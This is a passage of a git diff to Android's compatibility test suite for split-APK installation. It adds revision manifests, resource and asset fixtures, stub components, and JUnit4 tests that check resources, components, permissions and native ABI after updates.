+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Base" parent="@android:style/Theme.Material">
+        <item name="customColor">@color/custom_color</item>
+        <item name="android:windowBackground">@drawable/base_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
deleted file mode 100644
index 727c6c5c..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/revision/AndroidManifest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        android:targetSandboxVersion="2"
-        android:revisionCode="12">
-
-    <uses-sdk android:targetSdkVersion="27" />
-
-    <uses-permission android:name="android.permission.CAMERA" />
-
-    <application android:label="SplitApp">
-        <activity android:name=".MyActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..28bef9d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/AndroidManifest.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+
+    <!-- Remove the CAMERA permission
+    <uses-permission android:name="android.permission.CAMERA"/> -->
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <!-- Add the VIBRATE permission -->
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <!-- Updates to .revision_a.MyActivity -->
+        <activity android:name=".revision_a.MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <!-- Updates to .revision_a.MyReceiver -->
+        <receiver android:name=".revision_a.MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
+        <!-- Updates to .revision_a.MyProvider -->
+        <provider android:name=".revision_a.MyProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="my_receiver_enabled">true</bool>
+
+    <string name="my_string1">blue-revision</string>
+    <string name="my_string2">purple-revision</string>
+    <string name="my_new_string">new string</string>
+
+    <color name="my_color">#00FFFF</color>
+    <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
index 080053a..8759068 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
@@ -23,4 +23,10 @@
 
     public static native int add(int a, int b);
     public static native String arch();
+    public static native int sub(int a, int b);
+    public static native int getAbiBitness();
+    public static native int getNumberAViaProxy();
+    public static native int getNumberBViaProxy();
+    public static native int getNumberADirectly();
+    public static native int getNumberBDirectly();
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 15aa05e..2308b98 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,14 +16,26 @@
 
 package com.android.cts.splitapp;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotSame;
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.app.Activity;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
+import android.content.pm.ComponentInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ProviderInfo;
@@ -36,17 +48,24 @@
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
+import android.os.Build;
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.system.Os;
 import android.system.StructStat;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.util.DisplayMetrics;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -60,10 +79,13 @@
 import java.io.InputStreamReader;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Locale;
+import java.util.stream.Collectors;
 
-public class SplitAppTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
     private static final String TAG = "SplitAppTest";
     private static final String PKG = "com.android.cts.splitapp";
 
@@ -72,9 +94,25 @@
     public static boolean sFeatureTouched = false;
     public static String sFeatureValue = null;
 
+    private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+    private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+    private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+    private static final ComponentName FEATURE_WARM_EMPTY_PROVIDER_NAME =
+            ComponentName.createRelative(PKG, ".feature.warm.EmptyProvider");
+    private static final ComponentName FEATURE_WARM_EMPTY_SERVICE_NAME =
+            ComponentName.createRelative(PKG, ".feature.warm.EmptyService");
+
+    @Rule
+    public ActivityTestRule<Activity> mActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
+    @Test
     public void testNothing() throws Exception {
     }
 
+    @Test
     public void testSingleBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -116,6 +154,13 @@
         assertEquals(1, result.size());
         assertEquals("com.android.cts.splitapp.MyActivity", result.get(0).activityInfo.name);
 
+        // Activity with split name `feature_warm` cannot be found.
+        intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+        assertThat(pm.queryIntentActivities(intent, 0).stream().noneMatch(
+                info -> info.activityInfo.name.equals(
+                        "com.android.cts.splitapp.feature.warm.EmptyActivity"))).isTrue();
+
         // Receiver disabled by default in base
         intent = new Intent(Intent.ACTION_DATE_CHANGED);
         intent.setPackage(PKG);
@@ -131,6 +176,7 @@
         }
     }
 
+    @Test
     public void testDensitySingle() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -143,6 +189,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(d));
     }
 
+    @Test
     public void testDensityAll() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -164,6 +211,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest1() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -172,6 +220,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest2() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -180,6 +229,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -196,6 +246,7 @@
         assertEquals("com.android.cts.splitapp.MyReceiver", result.get(0).activityInfo.name);
     }
 
+    @Test
     public void testLocale() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -212,6 +263,7 @@
         assertEquals("pourpre", r.getString(R.string.my_string2));
     }
 
+    @Test
     public void testNative() throws Exception {
         Log.d(TAG, "testNative() thinks it's using ABI " + Native.arch());
 
@@ -219,7 +271,56 @@
         assertEquals(11642, Native.add(4933, 6709));
     }
 
-    public void testFeatureBase() throws Exception {
+    @Test
+    public void testNativeRevision_sub_shouldImplementBadly() throws Exception {
+        assertNotSame(1, Native.sub(0, -1));
+    }
+
+    @Test
+    public void testNativeRevision_sub_shouldImplementWell() throws Exception {
+        assertEquals(1, Native.sub(0, -1));
+    }
+
+    @Test
+    public void testNative64Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(64);
+    }
+
+    @Test
+    public void testNative32Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(32);
+    }
+
+    @Test
+    public void testNative_getNumberADirectly_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberADirectly()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberAViaProxy_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberAViaProxy()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberBDirectly_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBDirectly()).isEqualTo(11);
+    }
+
+    @Test
+    public void testNative_getNumberBViaProxy_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBViaProxy()).isEqualTo(11);
+    }
+
+    @Test
+    public void testFeatureWarmBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -236,9 +337,9 @@
 
         // And that we can access resources from feature
         assertEquals("red", r.getString(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
         assertEquals(123, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -307,6 +408,13 @@
             fail("Whaaa, we somehow gained permission from feature?");
         } catch (SecurityException expected) {
         }
+
+        // Assert that activity declared in the base can be found after feature_warm installed
+        intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+        assertThat(pm.queryIntentActivities(intent, 0).stream().anyMatch(
+                resolveInfo -> resolveInfo.activityInfo.name.equals(
+                        "com.android.cts.splitapp.feature.warm.EmptyActivity"))).isTrue();
     }
 
     private Intent createLaunchIntent() {
@@ -326,6 +434,7 @@
         }
     }
 
+    @Test
     public void testBaseInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -333,6 +442,7 @@
             public void onReceive(Context context, Intent intent) {
                 assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
                 assertEquals(0, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                assertNull(intent.getStringExtra("RESOURCE_CONTENT"));
                 cv.open();
             }
         };
@@ -350,6 +460,7 @@
      * Prior to running this test, the activity must be started. That is currently
      * done in {@link #testBaseInstalled()}.
      */
+    @Test
     public void testFeatureInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -357,6 +468,7 @@
             public void onReceive(Context context, Intent intent) {
                 assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
                 assertEquals(1, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                assertEquals("Hello feature!", intent.getStringExtra("RESOURCE_CONTENT"));
                 cv.open();
             }
         };
@@ -368,7 +480,8 @@
         getContext().unregisterReceiver(r);
     }
 
-    public void testFeatureApi() throws Exception {
+    @Test
+    public void testFeatureWarmApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -377,7 +490,7 @@
 
         // And that we can access resources from feature
         assertEquals(321, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -394,10 +507,119 @@
         assertEquals(0, result.size());
     }
 
+    @Test
+    public void testInheritUpdatedBase_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+        assertEquals("blue-revision", r.getString(R.string.my_string1));
+        assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+        assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+        assertEquals(456, r.getInteger(R.integer.my_integer));
+
+        // Also, new resources could be found
+        assertEquals("new string", r.getString(r.getIdentifier(
+                "my_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileA.txt", "FILEA");
+        assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+        // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+        // Provider should have been updated to .revision_a.MyProvider
+        final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+        // Camera permission has been removed
+        try {
+            getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+            fail("Camera permission should not be granted");
+        } catch (SecurityException expected) {
+        }
+
+        // New Vibrate permision should be granted
+        getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+    }
+
+    @Test
+    public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals("red-revision", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+        assertEquals(456, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+        // Also, new resources could be found
+        assertEquals("feature new string", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileFA.txt", "FILE_FA");
+        assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+        // Receiver of DATE_CHANGED could not be found
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+        // Service of splitapp should have been updated to .revision_a.FeatureService
+        intent = new Intent("com.android.cts.splitapp.service");
+        intent.setPackage(PKG);
+        final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+                .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+        assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+        // Provider should have been updated to .revision_a.FeatureProvider
+        final ProviderInfo info = pm.resolveContentProvider(
+                "com.android.cts.splitapp.provider", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(
+                "com.android.cts.splitapp.revision_a.FeatureProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+    }
+
     /**
      * Write app data in a number of locations that expect to remain intact over
      * long periods of time, such as across app moves.
      */
+    @Test
     public void testDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(getContext().getFileStreamPath("my_int"), token);
@@ -416,6 +638,7 @@
     /**
      * Verify that data written by {@link #testDataWrite()} is still intact.
      */
+    @Test
     public void testDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(getContext().getFileStreamPath("my_int")));
@@ -443,6 +666,7 @@
     /**
      * Verify that app is installed on internal storage.
      */
+    @Test
     public void testDataInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
@@ -452,17 +676,20 @@
     /**
      * Verify that app is not installed on internal storage.
      */
+    @Test
     public void testDataNotInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
         MoreAsserts.assertNotEqual(internal.st_dev, actual.st_dev);
     }
 
+    @Test
     public void testPrimaryDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(new File(getContext().getExternalFilesDir(null), "my_ext"), token);
     }
 
+    @Test
     public void testPrimaryDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(new File(getContext().getExternalFilesDir(null), "my_ext")));
@@ -471,6 +698,7 @@
     /**
      * Verify shared storage behavior when on internal storage.
      */
+    @Test
     public void testPrimaryInternal() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertFalse("removable", Environment.isExternalStorageRemovable());
@@ -480,6 +708,7 @@
     /**
      * Verify shared storage behavior when on physical storage.
      */
+    @Test
     public void testPrimaryPhysical() throws Exception {
         assertFalse("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -489,6 +718,7 @@
     /**
      * Verify shared storage behavior when on adopted storage.
      */
+    @Test
     public void testPrimaryAdopted() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -498,6 +728,7 @@
     /**
      * Verify that shared storage is unmounted.
      */
+    @Test
     public void testPrimaryUnmounted() throws Exception {
         MoreAsserts.assertNotEqual(Environment.MEDIA_MOUNTED,
                 Environment.getExternalStorageState());
@@ -506,6 +737,7 @@
     /**
